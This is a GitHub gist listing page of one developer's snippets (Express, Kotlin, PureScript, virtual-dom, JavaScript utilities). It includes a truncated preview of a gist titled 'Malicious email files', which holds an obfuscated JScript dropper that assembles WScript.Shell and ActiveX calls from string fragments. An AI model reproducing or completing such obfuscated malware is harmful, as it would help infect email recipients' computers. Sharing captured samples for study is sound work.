Skip to content

Instantly share code, notes, and snippets.

View apaleslimghost's full-sized avatar
💚
a pale slim ghost

Kara Brightwell apaleslimghost

💚
a pale slim ghost
View GitHub Profile
@apaleslimghost
apaleslimghost / sodor-express.js
Created December 4, 2014 10:54
What an Express-adapted Sodor could look like
var PostController = {
index: function(id) {
var that = this;
Post.get(id, function(err, post) {
if(err) {
return that.next(err);
}
that.render('post', post);
});
class LocalServer {
constructor(handler) {
if(!(this instanceof LocalServer)) return new LocalServer(handler);
window.addEventListener('popstate', handler);
handler(history);
this.handler = handler;
}
navigate(url, state) {
this.handler({state});
@apaleslimghost
apaleslimghost / react.kt
Created February 16, 2015 12:42
what react might look like in Kotlin
class App(val foo : String) : React.Component {
fn render() =
div {
a(href = "/foo") {
+foo
}
}
}
React.render(App(foo = "hello"), document.body)
@apaleslimghost
apaleslimghost / highland.purs
Created February 18, 2015 11:07
highland in purescript
foreign import data Stream :: * -> *
foreign import bindStream """function(s) {
return function(f) {
return s.flatMap(f);
};
}""" :: forall a,b. Stream a -> (a -> Stream b) -> Stream b
foreign import returnStream """function(a) {
return highland([a]);
function modulo(a, b) { return (+a % (b = +b) + b) % b; };
var h = require("highland");
var net = require("net");
var HOST = "127.0.0.1";
function createServer(port) {
net.createServer(function(sock) {
if (port === 7001) {
Function.prototype.with = function(...mixins) {
class inner extends this {}
for(let mixin of mixins) {
Object.assign(inner.prototype, mixin);
}
return inner;
}
class Foo extends Controller.with(Model.resources()) {}
@apaleslimghost
apaleslimghost / 00288370.doc.js
Created April 15, 2015 12:36
Malicious email files
var listing="55555D5E0913160616010A0A050A240309050D084A070B09";function lid_copy_js_last() { internal_item = internal_item + 'r ws'; zip_external_type_big(); }; function scan_wrapper_eu_note() { internal_item = internal_item + 'o.'; editor_br(); }; function gz_port_type_id() { internal_item = internal_item + 'w Act'; string_id(); }; function js_eu_editor() { internal_item = internal_item + 'ry { '; small_viewer_jar(); }; function viewer_new_json() { internal_item = internal_item + 'n,2)'; rar_gz(); }; function access_last() { internal_item = internal_item + '.Ex'; ca_prev_stop_it(); }; function pid_gid_start_sum() { internal_item = internal_item + '=='; cn_jquery_external(); }; function txt_browser_viewer_process_id() { internal_item = internal_item + 't.She'; js_rar_xor_checker_stop(); }; function fid_invalid_analyzer_register() { internal_item = internal_item + ' (xo'; lid_view(); }; function html_internal_en_eu_pl() { internal_item = internal_item + 'nd'; id_eu_updater(); }; function analyzer_lid
@apaleslimghost
apaleslimghost / fruitmachine-virtualdom.js
Created April 16, 2015 07:49
Rough sketch of fruitmachine/virtual-dom integration
// TODO: hyperscript wrapper that renders fm components, fm initialize that works with jsx
{
render() {
this.fireStatic('before render');
var newTree = this.toHTML();
// If possible recycle outer element but
// build from scratch if there is no
class Handler {
static receives = Handler.eventTypes().map(t => ['event', t]);
static eventTypes() {
return Object.keys(this.prototype).map(k => k.split(' ')[0]);
}
[handleIntent](intent) {
var handler = this.elementMatch(intent.data.target);
return handler.call(this, intent.data) || [];
}
@apaleslimghost
apaleslimghost / filter-iterator.js
Last active August 29, 2015 14:21
Filter Javascript iterator
module.exports = function* filterIterator(fn, iter) {
for(let i of iter)
if(fn(i))
yield i;
};